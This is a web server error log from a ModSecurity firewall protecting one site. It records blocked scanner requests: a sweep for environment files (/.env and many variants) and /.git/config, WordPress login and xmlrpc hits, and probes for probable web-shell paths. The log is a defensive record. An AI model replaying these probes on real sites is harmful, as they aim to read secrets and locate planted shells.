[Sun Apr 19 04:56:33.729647 2026] [:error] [pid 47772:tid 47801] [client 51.68.32.135:40102] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aePwAYc0L16cb4smAz-NmQAAAAw"]
[Sun Apr 19 04:56:35.635658 2026] [:error] [pid 47772:tid 47802] [client 51.68.32.135:50706] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aePwA4c0L16cb4smAz-NnwAAAA0"]
[Sun Apr 19 04:56:37.553785 2026] [:error] [pid 47775:tid 47849] [client 51.68.32.135:50716] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aePwBbmztjlk9tsmoexjHgAAAIY"]
[Sun Apr 19 04:56:39.486850 2026] [:error] [pid 47773:tid 47824] [client 51.68.32.135:50732] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aePwB-iBHdnCJDuPq9A7PAAAAEg"]
[Sun Apr 19 04:56:41.415553 2026] [:error] [pid 47775:tid 47856] [client 51.68.32.135:50736] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aePwCbmztjlk9tsmoexjKQAAAI0"]
[Sun Apr 19 04:56:43.346204 2026] [:error] [pid 47773:tid 47816] [client 51.68.32.135:50748] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aePwC-iBHdnCJDuPq9A7RgAAAEA"]
[Sun Apr 19 04:56:45.264372 2026] [:error] [pid 47886:tid 47898] [client 51.68.32.135:49476] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aePwDUSe8yiyuPrD7yPflgAAAMo"]
[Sun Apr 19 04:56:47.191315 2026] [:error] [pid 15693:tid 15709] [client 51.68.32.135:49478] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aePwD8NMD-ccazQlTskR1QAAAU0"]
[Sun Apr 19 04:56:49.110360 2026] [:error] [pid 47886:tid 47904] [client 51.68.32.135:49484] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aePwEUSe8yiyuPrD7yPfnQAAANA"]
[Sun Apr 19 04:56:50.890776 2026] [:error] [pid 47773:tid 47840] [client 51.68.32.135:49490] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aePwEuiBHdnCJDuPq9A7UgAAAFg"]
[Sun Apr 19 04:56:52.849130 2026] [:error] [pid 47773:tid 47825] [client 51.68.32.135:49492] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aePwFOiBHdnCJDuPq9A7YQAAAEk"]
[Sun Apr 19 04:56:54.763457 2026] [:error] [pid 47775:tid 47856] [client 51.68.32.135:49504] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aePwFrmztjlk9tsmoexjRQAAAI0"]
[Sun Apr 19 04:56:56.669648 2026] [:error] [pid 47772:tid 47805] [client 51.68.32.135:42292] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aePwGIc0L16cb4smAz-N4QAAABA"]
[Sun Apr 19 05:06:18.698542 2026] [:error] [pid 47773:tid 47820] [client 43.153.47.201:46472] [client 43.153.47.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aePySuiBHdnCJDuPq9BDIgAAAEQ"]
[Sun Apr 19 05:27:06.200819 2026] [:error] [pid 47886:tid 47912] [client 185.226.232.56:52408] [client 185.226.232.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.226.232.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeP3KkSe8yiyuPrD7yPp9AAAANg"]
[Sun Apr 19 05:29:35.131694 2026] [:error] [pid 15694:tid 15724] [client 54.168.232.65:33438] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aeP3v7imB-jol1fwqAq6MgAAAYE"]
[Sun Apr 19 05:29:37.256955 2026] [:error] [pid 47886:tid 47894] [client 54.168.232.65:33442] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aeP3wUSe8yiyuPrD7yPqfQAAAMY"]
[Sun Apr 19 05:29:37.813657 2026] [:error] [pid 15765:tid 15871] [client 54.168.232.65:34186] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.local"] [unique_id "aeP3wfRqinw-W5EwQ76A3AAAApI"]
[Sun Apr 19 05:29:38.375279 2026] [:error] [pid 15765:tid 15852] [client 54.168.232.65:34196] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.production"] [unique_id "aeP3wvRqinw-W5EwQ76A4gAAAoA"]
[Sun Apr 19 05:29:38.934168 2026] [:error] [pid 47772:tid 47812] [client 54.168.232.65:34206] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.staging"] [unique_id "aeP3woc0L16cb4smAz-bjQAAABc"]
[Sun Apr 19 05:29:39.496926 2026] [:error] [pid 47772:tid 47793] [client 54.168.232.65:34210] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.development"] [unique_id "aeP3w4c0L16cb4smAz-blQAAAAQ"]
[Sun Apr 19 05:29:40.052599 2026] [:error] [pid 47772:tid 47791] [client 54.168.232.65:34220] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.test"] [unique_id "aeP3xIc0L16cb4smAz-blwAAAAI"]
[Sun Apr 19 05:29:40.607558 2026] [:error] [pid 47772:tid 47794] [client 54.168.232.65:34230] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.remote"] [unique_id "aeP3xIc0L16cb4smAz-bmQAAAAU"]
[Sun Apr 19 05:29:41.165283 2026] [:error] [pid 47772:tid 47805] [client 54.168.232.65:34240] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.bak"] [unique_id "aeP3xYc0L16cb4smAz-bmwAAABA"]
[Sun Apr 19 05:29:41.726709 2026] [:error] [pid 15693:tid 15715] [client 54.168.232.65:34252] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.backup"] [unique_id "aeP3xcNMD-ccazQlTskVPAAAAVM"]
[Sun Apr 19 05:29:42.284607 2026] [:error] [pid 15760:tid 15782] [client 54.168.232.65:34260] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.save"] [unique_id "aeP3xvSdD_XHQMJ_ISsXywAAAc4"]
[Sun Apr 19 05:29:42.840971 2026] [:error] [pid 15693:tid 15705] [client 54.168.232.65:34270] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.old"] [unique_id "aeP3xsNMD-ccazQlTskVPQAAAUk"]
[Sun Apr 19 05:29:43.397987 2026] [:error] [pid 15763:tid 15813] [client 54.168.232.65:34280] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.sample"] [unique_id "aeP3x7MXv1Y1THOoxaAiWQAAAhE"]
[Sun Apr 19 05:29:43.956555 2026] [:error] [pid 15694:tid 15723] [client 54.168.232.65:34288] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.example"] [unique_id "aeP3x7imB-jol1fwqAq6NQAAAYA"]
[Sun Apr 19 05:29:44.513036 2026] [:error] [pid 15693:tid 15710] [client 54.168.232.65:34302] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.dev"] [unique_id "aeP3yMNMD-ccazQlTskVPgAAAU4"]
[Sun Apr 19 05:29:45.073253 2026] [:error] [pid 15764:tid 15841] [client 54.168.232.65:34306] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.prod"] [unique_id "aeP3yWLL_sqdSHoVp-Tp7QAAAk8"]
[Sun Apr 19 05:29:45.630455 2026] [:error] [pid 15764:tid 15851] [client 54.168.232.65:34310] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.stage"] [unique_id "aeP3yWLL_sqdSHoVp-Tp8AAAAlg"]
[Sun Apr 19 05:29:46.186830 2026] [:error] [pid 15760:tid 15771] [client 54.168.232.65:34320] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.ci"] [unique_id "aeP3yvSdD_XHQMJ_ISsXzAAAAcM"]
[Sun Apr 19 05:29:46.745790 2026] [:error] [pid 15764:tid 15839] [client 54.168.232.65:36616] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.docker"] [unique_id "aeP3ymLL_sqdSHoVp-Tp9QAAAk0"]
[Sun Apr 19 05:29:47.303894 2026] [:error] [pid 47886:tid 47909] [client 54.168.232.65:36622] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.live"] [unique_id "aeP3y0Se8yiyuPrD7yPqfgAAANU"]
[Sun Apr 19 05:29:47.866194 2026] [:error] [pid 47773:tid 47830] [client 54.168.232.65:36632] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.preprod"] [unique_id "aeP3y-iBHdnCJDuPq9BQigAAAE4"]
[Sun Apr 19 05:29:48.423915 2026] [:error] [pid 15764:tid 15830] [client 54.168.232.65:36648] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.uat"] [unique_id "aeP3zGLL_sqdSHoVp-Tp9gAAAkQ"]
[Sun Apr 19 05:29:48.981039 2026] [:error] [pid 47886:tid 47910] [client 54.168.232.65:36656] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.dist"] [unique_id "aeP3zESe8yiyuPrD7yPqgQAAANY"]
[Sun Apr 19 05:29:49.538343 2026] [:error] [pid 47773:tid 47816] [client 54.168.232.65:36670] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env.swp"] [unique_id "aeP3zeiBHdnCJDuPq9BQiwAAAEA"]
[Sun Apr 19 05:29:50.094357 2026] [:error] [pid 15764:tid 15850] [client 54.168.232.65:36680] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env~"] [unique_id "aeP3zmLL_sqdSHoVp-Tp_AAAAlc"]
[Sun Apr 19 05:29:50.648747 2026] [:error] [pid 15765:tid 15858] [client 54.168.232.65:36682] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/app/.env"] [unique_id "aeP3zvRqinw-W5EwQ76A5QAAAoU"]
[Sun Apr 19 05:29:51.204532 2026] [:error] [pid 15765:tid 15855] [client 54.168.232.65:36690] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/apps/.env"] [unique_id "aeP3z_Rqinw-W5EwQ76A5wAAAoI"]
[Sun Apr 19 05:29:51.760213 2026] [:error] [pid 15764:tid 15839] [client 54.168.232.65:36700] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/api/.env"] [unique_id "aeP3z2LL_sqdSHoVp-Tp_QAAAk0"]
[Sun Apr 19 05:29:52.318465 2026] [:error] [pid 15764:tid 15842] [client 54.168.232.65:36710] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/web/.env"] [unique_id "aeP30GLL_sqdSHoVp-Tp_wAAAlA"]
[Sun Apr 19 05:29:52.875674 2026] [:error] [pid 47773:tid 47839] [client 54.168.232.65:36718] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/site/.env"] [unique_id "aeP30OiBHdnCJDuPq9BQjAAAAFc"]
[Sun Apr 19 05:29:53.436166 2026] [:error] [pid 15764:tid 15833] [client 54.168.232.65:36720] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/public/.env"] [unique_id "aeP30WLL_sqdSHoVp-TqAwAAAkc"]
[Sun Apr 19 05:29:53.997482 2026] [:error] [pid 15763:tid 15806] [client 54.168.232.65:36728] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/admin/.env"] [unique_id "aeP30bMXv1Y1THOoxaAiXwAAAgo"]
[Sun Apr 19 05:29:54.553517 2026] [:error] [pid 15693:tid 15718] [client 54.168.232.65:36742] [client 54.168.232.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/backend/.env"] [unique_id "aeP30sNMD-ccazQlTskVPwAAAVY"]
[Sun Apr 19 06:03:06.222135 2026] [:error] [pid 47775:tid 47853] [client 208.97.187.39:40094] [client 208.97.187.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.97.187.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeP_mrmztjlk9tsmoex56QAAAIo"]
[Sun Apr 19 06:03:12.455397 2026] [:error] [pid 47775:tid 47855] [client 208.97.187.39:40094] [client 208.97.187.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.97.187.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeP_oLmztjlk9tsmoex56gAAAIw"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 19 06:06:16.025920 2026] [:error] [pid 47886:tid 47891] [client 186.233.17.35:19277] [client 186.233.17.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.233.17.35, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeQAWESe8yiyuPrD7yPzVQAAAMM"]
[Sun Apr 19 06:25:34.446397 2026] [:error] [pid 47772:tid 47805] [client 20.215.64.52:21028] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nwflm.php"] [unique_id "aeQE3oc0L16cb4smAz-2SwAAABA"]
[Sun Apr 19 06:25:35.136749 2026] [:error] [pid 47773:tid 47829] [client 20.215.64.52:21021] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nwflm.php"] [unique_id "aeQE3-iBHdnCJDuPq9ByWQAAAE0"]
[Sun Apr 19 06:25:37.650315 2026] [:error] [pid 47773:tid 47834] [client 20.215.64.52:52975] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nwflm.php"] [unique_id "aeQE4eiBHdnCJDuPq9ByXAAAAFI"]
[Sun Apr 19 06:25:39.744597 2026] [:error] [pid 47773:tid 47835] [client 20.215.64.52:52957] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nwflm.php"] [unique_id "aeQE4-iBHdnCJDuPq9ByXgAAAFM"]
[Sun Apr 19 06:25:40.914019 2026] [:error] [pid 47773:tid 47823] [client 20.215.64.52:28865] [client 20.215.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "aeQE5OiBHdnCJDuPq9ByZAAAAEc"]
